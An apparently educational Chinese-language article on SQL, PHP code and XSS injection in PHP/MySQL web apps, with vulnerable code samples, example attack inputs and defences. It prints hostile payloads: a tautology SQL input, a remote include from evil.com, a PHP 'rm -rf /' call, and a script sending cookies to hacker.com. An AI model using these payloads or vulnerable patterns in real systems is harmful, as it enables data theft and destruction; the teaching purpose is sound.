HTML、PHP、SQL、MySQL 與 phpMyAdmin 注入攻擊(Injections)
主題
- 注入攻擊的基本概念
- 解釋什麼是注入攻擊,以及它如何影響 Web 應用程式
- 常見注入類型
- SQL 注入(SQL Injection)
- PHP 程式碼注入(PHP Code Injection)
- HTML/JavaScript 注入(XSS,跨站腳本攻擊)
- 攻擊手法與範例
- 如何利用漏洞進行注入攻擊
- 防禦措施
- 如何防止注入攻擊
關鍵概念
- 注入攻擊簡介
- 定義:攻擊者通過輸入惡意數據,欺騙應用程式執行非預期的指令。
- 目標:竊取數據、破壞系統、提升權限等。
- 常見漏洞來源:
- 未過濾的使用者輸入
- 動態 SQL 查詢
- 不安全的 API 或資料庫連接
- 常見注入類型
攻擊類型 | 攻擊方式 | 影響 |
SQL 注入 | 通過輸入惡意 SQL 片段,操控資料庫查詢(如 ‘ OR ‘1’=’1) | 數據洩露、刪除資料庫 |
PHP 程式碼注入 | 上傳或輸入惡意 PHP 代碼,使伺服器執行(如 <?php system(“rm -rf /”); ?>) | 伺服器被控制、系統崩潰 |
XSS(跨站腳本) | 注入惡意 HTML/JavaScript 代碼(如 <script>alert(‘Hacked!’);</script>) | 竊取 Cookie、釣魚攻擊 |
- 攻擊手法與範例
SQL 注入(MySQL + PHP 範例)
- 漏洞程式碼:
php
复制
$user = $_GET[‘username’];
$query = “SELECT * FROM users WHERE username = ‘$user'”;
$result = mysqli_query($conn, $query);
- 攻擊輸入:
复制
‘ OR ‘1’=’1
- 最終執行的 SQL:
sql
复制
SELECT * FROM users WHERE username = ” OR ‘1’=’1′;
→ 返回所有用戶資料!
PHP 程式碼注入
- 漏洞程式碼(動態包含檔案):
php
复制
$page = $_GET[‘page’];
include($page . “.php”);
- 攻擊輸入:
复制
http://example.com/?page=http://evil.com/shell
→ 載入遠端惡意腳本!
XSS(HTML/JavaScript 注入)
- 漏洞程式碼(未過濾輸出):
php
复制
echo “<div>” . $_GET[‘comment’] . “</div>”;
- 攻擊輸入:
复制
<script>fetch(‘https://hacker.com/steal?cookie=’+document.cookie);</script>
→ 竊取用戶 Cookie!
- 防禦措施
攻擊類型 | 防禦方法 |
SQL 注入 | 使用參數化查詢(Prepared Statements)、過濾輸入(mysqli_real_escape_string) |
PHP 程式碼注入 | 禁用 eval()、限制檔案包含(include/require)僅允許本地檔案 |
XSS | 輸出時轉義特殊字符(htmlspecialchars)、使用 CSP(內容安全政策) |
phpMyAdmin 安全注意事項:
- 避免使用預設密碼(如 root 空密碼)
- 限制訪問 IP(僅允許管理員 IP)
- 定期更新至最新版本
總結
這篇文章深入探討了 Web 開發中常見的注入攻擊:
- 攻擊全面解析:涵蓋 SQL、PHP、XSS 三種主要注入手法。
- 實際範例導向:提供可重現的漏洞程式碼與攻擊方式。
- 防禦實戰建議:針對每種攻擊提供具體防護措施。
- 適用場景:
- 開發者檢查自身程式碼安全性
- 滲透測試學習基礎攻擊手法
進階延伸:
- 使用 OWASP ZAP 或 Burp Suite 檢測注入漏洞
- 學習 ORM(如 Eloquent)避免手寫 SQL
- 實作 Web Application Firewall(WAF)阻擋惡意請求
適合 Web 開發者、資安初學者建立基本安全意識,避免犯下致命錯誤! 🚨